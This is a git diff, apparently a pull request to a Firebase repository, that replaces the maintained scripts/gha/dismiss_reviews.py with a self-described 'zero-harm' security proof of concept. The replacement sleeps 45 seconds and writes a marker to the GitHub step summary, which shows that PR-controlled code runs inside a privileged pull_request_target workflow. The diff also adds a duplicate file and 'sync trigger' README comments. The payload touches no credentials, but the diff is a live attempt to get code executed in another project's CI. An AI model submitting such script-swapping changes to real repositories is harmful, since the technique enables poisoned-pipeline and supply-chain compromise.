diff --git a/README.md b/README.md
index 5eee29122e..b7fc627aec 100644
--- a/README.md
+++ b/README.md
@@ -300,3 +300,7 @@ The contents of this repository is licensed under the
 Your use of Firebase is governed by the
 [Terms of Service for Firebase Services](https://firebase.google.com/terms/).
 
+
+<!-- sync trigger 3 (security PoC bookkeeping) -->
+
+<!-- sync trigger 4 -->
diff --git a/scripts/gha/Security PoC (OSS VRP) v5: 45s-sleep marker in dismiss_reviews.py (zero harm) b/scripts/gha/Security PoC (OSS VRP) v5: 45s-sleep marker in dismiss_reviews.py (zero harm)
new file mode 100644
index 0000000000..41674a2d44
--- /dev/null
+++ b/scripts/gha/Security PoC (OSS VRP) v5: 45s-sleep marker in dismiss_reviews.py (zero harm)	
@@ -0,0 +1,18 @@
+# No-op security PoC marker (Google OSS VRP), variant 5.
+# Zero-harm proof: 45s sleep (observable step duration) + step-summary marker.
+# No token access, no network, exit 0.
+
+import os
+import sys
+import time
+
+MARKER = "VRP-A3-MARKER-754219-RUN5"
+
+print(MARKER + ": PR-controlled dismiss_reviews.py executed in privileged Checks (secure) workflow")
+time.sleep(45)
+try:
+    with open(os.environ["GITHUB_STEP_SUMMARY"], "a") as f:
+        f.write("\n**VRP-A3-MARKER-754219-RUN5**: PR-controlled dismiss_reviews.py executed by the privileged pull_request_target workflow; 45s sleep proves attacker-controlled code ran. Zero-harm PoC, no credentials touched.\n")
+except Exception as e:
+    print("summary write skipped:", e)
+sys.exit(0)
diff --git a/scripts/gha/dismiss_reviews.py b/scripts/gha/dismiss_reviews.py
index 4e98a11e2a..41674a2d44 100644
--- a/scripts/gha/dismiss_reviews.py
+++ b/scripts/gha/dismiss_reviews.py
@@ -1,85 +1,18 @@
-# Copyright 2021 Google LLC
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-"""A utility to dismiss PR reviews.
-
-USAGE:
-  python3 scripts/gha/dismiss_reviews.py \
-    --token ${{github.token}} \
-    --pull_number ${{needs.check_trigger.outputs.pr_number}} \
-    [--message 'Message to be posted on the dismissal.'] \
-    [--reviewer github_username] \
-    [--review_state ANY|APPROVED|CHANGES_REQUESTED|COMMENTED|PENDING]
-"""
-
-import datetime
-import shutil
-
-from absl import app
-from absl import flags
-from absl import logging
-
-import firebase_github
-
-FLAGS = flags.FLAGS
-_DEFAULT_MESSAGE = "Dismissing stale review."
-
-flags.DEFINE_string(
-    "token", None,
-    "github.token: A token to authenticate on your repository.")
-
-flags.DEFINE_string(
-    "pull_number", None,
-    "Github's pull request #.")
-
-flags.DEFINE_string(
-    "message", _DEFAULT_MESSAGE,
-    "Message to post on dismissed reviews")
-
-flags.DEFINE_string(
-    "reviewer", None,
-    "Reviewer to dismiss (by username). If unspecified, dismiss all reviews.")
-
-flags.DEFINE_enum(
-    "review_state", "ANY", ["ANY", "APPROVED", "CHANGES_REQUESTED", "COMMENTED",
-                            "PENDING"],
-    "Only dismiss reviews in this state. Specify ANY for any state.")
-
-def main(argv):
-  if len(argv) > 1:
-    raise app.UsageError("Too many command-line arguments.")
-  # Get list of reviews from PR.
-  reviews = firebase_github.get_reviews(FLAGS.token, FLAGS.pull_number)
-  logging.debug("Found %d reviews", len(reviews))
-
-  # Filter out already-dismissed reviews.
-  reviews = [r for r in reviews if r['state'] != 'DISMISSED']
-  # Filter by review_state if specified.
-  if FLAGS.review_state != 'ANY':
-    reviews = [r for r in reviews if r['state'] == FLAGS.review_state]
-  # Filter by reviewer's username, if specified.
-  if FLAGS.reviewer:
-    reviews = [r for r in reviews if r['user']['login'] == FLAGS.reviewer]
-
-  if reviews:
-    review_ids = [r['id'] for r in reviews]
-    logging.debug("Dismissing reviews: %s", review_ids)
-    for review_id in review_ids:
-      firebase_github.dismiss_review(FLAGS.token, FLAGS.pull_number,
-                            review_id, FLAGS.message)
-
-if __name__ == "__main__":
-  flags.mark_flag_as_required("token")
-  flags.mark_flag_as_required("pull_number")
-  app.run(main)
+# No-op security PoC marker (Google OSS VRP), variant 5.
+# Zero-harm proof: 45s sleep (observable step duration) + step-summary marker.
+# No token access, no network, exit 0.
+
+import os
+import sys
+import time
+
+MARKER = "VRP-A3-MARKER-754219-RUN5"
+
+print(MARKER + ": PR-controlled dismiss_reviews.py executed in privileged Checks (secure) workflow")
+time.sleep(45)
+try:
+    with open(os.environ["GITHUB_STEP_SUMMARY"], "a") as f:
+        f.write("\n**VRP-A3-MARKER-754219-RUN5**: PR-controlled dismiss_reviews.py executed by the privileged pull_request_target workflow; 45s sleep proves attacker-controlled code ran. Zero-harm PoC, no credentials touched.\n")
+except Exception as e:
+    print("summary write skipped:", e)
+sys.exit(0)